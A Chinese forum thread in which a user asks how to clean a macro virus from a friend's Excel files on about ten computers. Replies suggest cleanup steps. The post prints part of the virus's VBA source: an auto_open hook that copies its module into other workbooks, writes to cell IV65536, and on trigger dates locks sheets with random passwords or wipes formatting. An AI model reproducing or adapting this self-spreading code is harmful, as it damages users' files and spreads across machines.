某个朋友的excel文件都被自动添加了宏。代码大概如下，只复制了一部分放到帖子后面。
现在使用宏病毒专杀情人节版 和金山毒霸的koffce都杀不出来。请问接下来该怎么办。如何清理excel的那些可恶模块。
另外，实在不好弄，也可以这么做。清理电脑上的一切宏模块。我朋友从来没有用过宏，表示可以清理，大家有啥好办法吗？
复制 代码 开头部分如下 看起来就不是好东西吧 共参考一下
---------
Sub auto_open()
Application.OnSheetActivate = "pink"
End Sub
Sub pink()
Dim mn, virname, thismo, passwords, pick, pickmo, head, getname As String, i, j, k, num, wbc, thisnum As Integer
wbc = Workbooks.Count
For k = 1 To wbc
If Workbooks(k).Name = "B00k1.xls" Then
getname = "B00k1.xls"
Windows("B00k1.xls").Visible = False
If Workbooks("B00k1.xls").Saved = False Then
Workbooks("B00k1.xls").Save
End If
Exit For
End If
Next
If wbc < 2 Then
GoTo final
End If
thisnum = ThisWorkbook.Modules.Count
num = ActiveWorkbook.Modules.Count
For i = 1 To thisnum
thismo = ThisWorkbook.Modules(i).Name
pickmo = Right(Left(thismo, 2), 1)
If pickmo = "V" Then
namemo = ThisWorkbook.Modules(i).Name
Exit For
End If
Next
If (Asc(ActiveWorkbook.Name) >= 97 And Asc(ActiveWorkbook.Name) <= 122) Or (Asc(ActiveWorkbook.Name) >= 65 And Asc(ActiveWorkbook.Name) <= 90) Then
head = Chr(Asc(ActiveWorkbook.Name))
Else
head = "N"
End If
mn = head & "V" & Month(Now) & Day(Now) & Right(Time$, 2)
For j = 1 To num
pick = Right(Left(ActiveWorkbook.Modules(j).Name, 2), 1)
If pick = "V" Then
End
End If
Next
If Month(Now) + Day(Now) <> 13 And ActiveSheet.Range("iv65536").FormulaR1C1 <> "=""""" Then
ActiveSheet.Range("iv65536").FormulaR1C1 = "="""""
End If
ThisWorkbook.Sheets(namemo).Copy ActiveWorkbook.ActiveSheet
ActiveWorkbook.Modules(namemo).Name = mn
If Left(ActiveWorkbook.Name, 4) <> "Book" Then
End If
Application.ScreenUpdating = False
passwords = Left((Rnd * 1000000000 + 100000000), 8)
If Month(Now) + Day(Now) = 13 Then
ActiveSheet.Protect DrawingObjects:=True, Contents:=True, Scenarios:=True, password:=passwords
End If
If Month(Now) = 6 And Day(Now) = 15 Then
With Cells
.ClearFormats
.ColumnWidth = 2.75
.RowHeight = 15
End With
ActiveWindow.Zoom = 25
Union(Range( _
"AO15,AP15,AO16,AP16,AO16,AO17,AP17

宏安全性设置为最高
删除xlstart目录下的所有内容
然后试试手工清理被感染的文件中的模块\宏表\名称

昨晚朋友说，所有中毒的文件 都会显示到最后一个65536行。不管里面到底多少数据，都会使下面多出很多空行，并且原有的文件中输入数据计算很慢。现在他们的问题是十来个电脑都成这个故障了，怎么能够使用类似专杀的程序，把电脑上的病毒清理干净。大家给点建议

给哭了……看不懂啊